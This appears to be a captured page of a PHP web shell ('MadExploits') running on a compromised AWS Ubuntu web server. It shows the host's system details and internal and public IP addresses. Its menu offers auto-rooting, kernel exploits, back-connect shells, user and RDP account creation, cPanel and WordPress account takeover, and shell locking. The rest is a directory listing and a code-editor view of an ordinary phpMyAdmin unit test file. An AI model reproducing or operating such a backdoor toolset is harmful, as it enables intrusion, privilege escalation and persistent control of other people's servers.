Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.149.185
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Stubs
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
_data
[ DIR ]
drwxr-xr-x
AbstractTestCase.php
5.3
KB
-rw-r--r--
ApplicationTest.php
1.63
KB
-rw-r--r--
BookmarkTest.php
3.56
KB
-rw-r--r--
BrowseForeignersTest.php
6.29
KB
-rw-r--r--
CacheTest.php
3.02
KB
-rw-r--r--
CharsetsTest.php
5.3
KB
-rw-r--r--
ConfigTest.php
31.22
KB
-rw-r--r--
ConsoleTest.php
1.38
KB
-rw-r--r--
CoreTest.php
23.3
KB
-rw-r--r--
CreateAddFieldTest.php
19.21
KB
-rw-r--r--
DatabaseInterfaceTest.php
29.52
KB
-rw-r--r--
DbTableExistsTest.php
2.9
KB
-rw-r--r--
EncodingTest.php
5.89
KB
-rw-r--r--
EnvironmentTest.php
478
B
-rw-r--r--
FieldHelper.php
1.09
KB
-rw-r--r--
FieldMetadataTest.php
3.54
KB
-rw-r--r--
FileListingTest.php
3.54
KB
-rw-r--r--
FileTest.php
2.02
KB
-rw-r--r--
FlashMessagesTest.php
1.96
KB
-rw-r--r--
FontTest.php
6.13
KB
-rw-r--r--
FooterTest.php
5.19
KB
-rw-r--r--
GitTest.php
15.08
KB
-rw-r--r--
HeaderTest.php
11.05
KB
-rw-r--r--
IndexColumnTest.php
2.73
KB
-rw-r--r--
IndexTest.php
4.18
KB
-rw-r--r--
InsertEditTest.php
80.72
KB
-rw-r--r--
IpAllowDenyTest.php
6.62
KB
-rw-r--r--
LanguageTest.php
8.44
KB
-rw-r--r--
LinterTest.php
3.57
KB
-rw-r--r--
ListDatabaseTest.php
2.26
KB
-rw-r--r--
LoggingTest.php
570
B
-rw-r--r--
MenuTest.php
1.63
KB
-rw-r--r--
MessageTest.php
14.44
KB
-rw-r--r--
MimeTest.php
990
B
-rw-r--r--
NormalizationTest.php
15.38
KB
-rw-r--r--
OpenDocumentTest.php
1.67
KB
-rw-r--r--
OperationsTest.php
2.19
KB
-rw-r--r--
ParseAnalyzeTest.php
2.1
KB
-rw-r--r--
PdfTest.php
1.4
KB
-rw-r--r--
PluginsTest.php
4.69
KB
-rw-r--r--
ProfilingTest.php
730
B
-rw-r--r--
ResponseRendererTest.php
1.71
KB
-rw-r--r--
SanitizeTest.php
6.99
KB
-rw-r--r--
ScriptsTest.php
3.66
KB
-rw-r--r--
SessionTest.php
741
B
-rw-r--r--
ShowGrantsTest.php
1.78
KB
-rw-r--r--
SqlQueryFormTest.php
5.85
KB
-rw-r--r--
SqlTest.php
30.76
KB
-rw-r--r--
StorageEngineTest.php
18.19
KB
-rw-r--r--
SystemDatabaseTest.php
4.72
KB
-rw-r--r--
TemplateTest.php
5.61
KB
-rw-r--r--
TransformationsTest.php
10.52
KB
-rw-r--r--
TwoFactorTest.php
21.18
KB
-rw-r--r--
TypesByDatabaseVersionTest.php
31.86
KB
-rw-r--r--
TypesTest.php
20.45
KB
-rw-r--r--
UniqueConditionTest.php
13.26
KB
-rw-r--r--
UrlRedirectorTest.php
1.48
KB
-rw-r--r--
UrlTest.php
8.56
KB
-rw-r--r--
UserPasswordTest.php
2.5
KB
-rw-r--r--
UserPreferencesTest.php
12.02
KB
-rw-r--r--
UserPrivilegesFactoryTest.php
5.82
KB
-rw-r--r--
UtilTest.php
55.46
KB
-rw-r--r--
VersionInformationTest.php
9.62
KB
-rw-r--r--
VersionTest.php
1.25
KB
-rw-r--r--
ZipExtensionTest.php
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UniqueConditionTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests; use PhpMyAdmin\Config; use PhpMyAdmin\Current; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\FieldMetadata; use PhpMyAdmin\UniqueCondition; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use function str_repeat; use const MYSQLI_NUM_FLAG; use const MYSQLI_PRI_KEY_FLAG; use const MYSQLI_TYPE_BIT; use const MYSQLI_TYPE_GEOMETRY; use const MYSQLI_TYPE_LONG; use const MYSQLI_TYPE_SHORT; use const MYSQLI_TYPE_STRING; use const MYSQLI_TYPE_TINY; use const MYSQLI_TYPE_VAR_STRING; use const MYSQLI_UNIQUE_KEY_FLAG; #[CoversClass(UniqueCondition::class)] class UniqueConditionTest extends AbstractTestCase { public function testGetUniqueCondition(): void { Current::$database = 'db'; Config::getInstance()->selectedServer['DisableIS'] = false; $actual = new UniqueCondition([], []); self::assertSame(['', false, []], [ $actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray(), ]); $actual = new UniqueCondition([], [], true); self::assertSame(['', true, []], [ $actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray(), ]); } public function testGetUniqueConditionWithMultipleFields(): void { DatabaseInterface::$instance = $this->createDatabaseInterface(); $meta = [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field1', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field2', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_SHORT, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'field3', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_LONG, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'field4', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field5', 'table' => 'table', 'orgtable' => 'table', 'charsetnr' => 63, // binary ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field6', 'table' => 'table', 'orgtable' => 'table', 'charsetnr' => 63, // binary ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field7', 'table' => 'table', 'orgtable' => 'table', 'charsetnr' => 32, // armscii8_general_ci ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field8', 'table' => 'table', 'orgtable' => 'table', 'charsetnr' => 48, // latin1_general_ci ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field9', 'table' => 'table', 'orgtable' => 'table', 'charsetnr' => 63, // binary ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_GEOMETRY, 'name' => 'field10', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field11', 'table' => 'table2', 'orgtable' => 'table2', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_BIT, 'name' => 'field12', 'table' => 'table', 'orgtable' => 'table', 'length' => 4, ]), ]; $actual = new UniqueCondition($meta, [ null, 'value\'s', 123456, 123.456, 'value', str_repeat('*', 1001), 'value', 'value', 'value', 'value', 'value', 0x1, ], false, 'table'); self::assertSame( [ '`table`.`field1` IS NULL AND `table`.`field2` = \'value\\\'s\' AND `table`.`field3` = 123456' . ' AND `table`.`field4` = 123.456 AND `table`.`field5` = CAST(0x76616c7565 AS BINARY)' . ' AND `table`.`field7` = \'value\' AND `table`.`field8` = \'value\'' . ' AND `table`.`field9` = CAST(0x76616c7565 AS BINARY)' . ' AND `table`.`field10` = CAST(0x76616c7565 AS BINARY)' . ' AND `table`.`field12` = b\'0001\'', false, [ '`table`.`field1`' => 'IS NULL', '`table`.`field2`' => '= \'value\\\'s\'', '`table`.`field3`' => '= 123456', '`table`.`field4`' => '= 123.456', '`table`.`field5`' => '= CAST(0x76616c7565 AS BINARY)', '`table`.`field7`' => '= \'value\'', '`table`.`field8`' => '= \'value\'', '`table`.`field9`' => '= CAST(0x76616c7565 AS BINARY)', '`table`.`field10`' => '', '`table`.`field12`' => '= b\'0001\'', ], ], [$actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray()], ); } public function testGetUniqueConditionWithSingleBigBinaryField(): void { $meta = [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field', 'table' => 'table', 'orgtable' => 'table', 'charsetnr' => 63, // binary ]), ]; $actual = new UniqueCondition($meta, [str_repeat('*', 1001)]); self::assertSame( ['CHAR_LENGTH(`table`.`field`) = 1001', false, ['`table`.`field`' => ' = 1001']], [$actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray()], ); } public function testGetUniqueConditionWithPrimaryKey(): void { DatabaseInterface::$instance = $this->createDatabaseInterface(); $meta = [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_LONG, 'flags' => MYSQLI_PRI_KEY_FLAG | MYSQLI_NUM_FLAG, 'name' => 'id', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field', 'table' => 'table', 'orgtable' => 'table', ]), ]; $actual = new UniqueCondition($meta, [1, 'value']); self::assertSame(['`table`.`id` = 1', true, ['`table`.`id`' => '= 1']], [ $actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray(), ]); } public function testGetUniqueConditionWithUniqueKey(): void { DatabaseInterface::$instance = $this->createDatabaseInterface(); $meta = [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'flags' => MYSQLI_UNIQUE_KEY_FLAG, 'name' => 'id', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_STRING, 'name' => 'field', 'table' => 'table', 'orgtable' => 'table', ]), ]; $actual = new UniqueCondition($meta, ['unique', 'value']); self::assertSame(['`table`.`id` = \'unique\'', true, ['`table`.`id`' => '= \'unique\'']], [ $actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray(), ]); } /** * Test for new UniqueCondition * note: GROUP_FLAG = MYSQLI_NUM_FLAG = 32769 * * @param FieldMetadata[] $meta Meta Information for Field * @param array $row Current Ddata Row * @param array $expected Expected Result * @psalm-param array<int, mixed> $row * @psalm-param array{string, bool, array<string, string>} $expected */ #[DataProvider('providerGetUniqueConditionForGroupFlag')] public function testGetUniqueConditionForGroupFlag(array $meta, array $row, array $expected): void { DatabaseInterface::$instance = $this->createDatabaseInterface(); $actual = new UniqueCondition($meta, $row); self::assertSame($expected, [ $actual->getWhereClause(), $actual->isClauseUnique(), $actual->getConditionArray(), ]); } /** * Provider for testGetUniqueConditionForGroupFlag * * @return array<string, array{FieldMetadata[], array<int, mixed>, array{string, bool, array<string, string>}}> */ public static function providerGetUniqueConditionForGroupFlag(): array { return [ 'field type is integer, value is number - not escape string' => [ [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_TINY, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'col', 'table' => 'table', 'orgtable' => 'table', ]), ], [123], ['`table`.`col` = 123', false, ['`table`.`col`' => '= 123']], ], 'field type is unknown, value is string - escape string' => [ [ FieldHelper::fromArray([ 'type' => -1, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'col', 'table' => 'table', 'orgtable' => 'table', ]), ], ['test'], ["`table`.`col` = 'test'", false, ['`table`.`col`' => "= 'test'"]], ], 'field type is varchar, value is string - escape string' => [ [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_VAR_STRING, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'col', 'table' => 'table', 'orgtable' => 'table', ]), ], ['test'], ["`table`.`col` = 'test'", false, ['`table`.`col`' => "= 'test'"]], ], 'field type is varchar, value is string with double quote - escape string' => [ [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_VAR_STRING, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'col', 'table' => 'table', 'orgtable' => 'table', ]), ], ['"test"'], ["`table`.`col` = '\\\"test\\\"'", false, ['`table`.`col`' => "= '\\\"test\\\"'"]], ], 'field type is varchar, value is string with single quote - escape string' => [ [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_VAR_STRING, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'col', 'table' => 'table', 'orgtable' => 'table', ]), ], ["'test'"], ["`table`.`col` = '\'test\''", false, ['`table`.`col`' => "= '\'test\''"]], ], 'group by multiple columns and field type is mixed' => [ [ FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_VAR_STRING, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'col', 'table' => 'table', 'orgtable' => 'table', ]), FieldHelper::fromArray([ 'type' => MYSQLI_TYPE_TINY, 'flags' => MYSQLI_NUM_FLAG, 'name' => 'status_id', 'table' => 'table', 'orgtable' => 'table', ]), ], ['test', 2], [ "`table`.`col` = 'test' AND `table`.`status_id` = 2", false, ['`table`.`col`' => "= 'test'", '`table`.`status_id`' => '= 2'], ], ], ]; } }
Close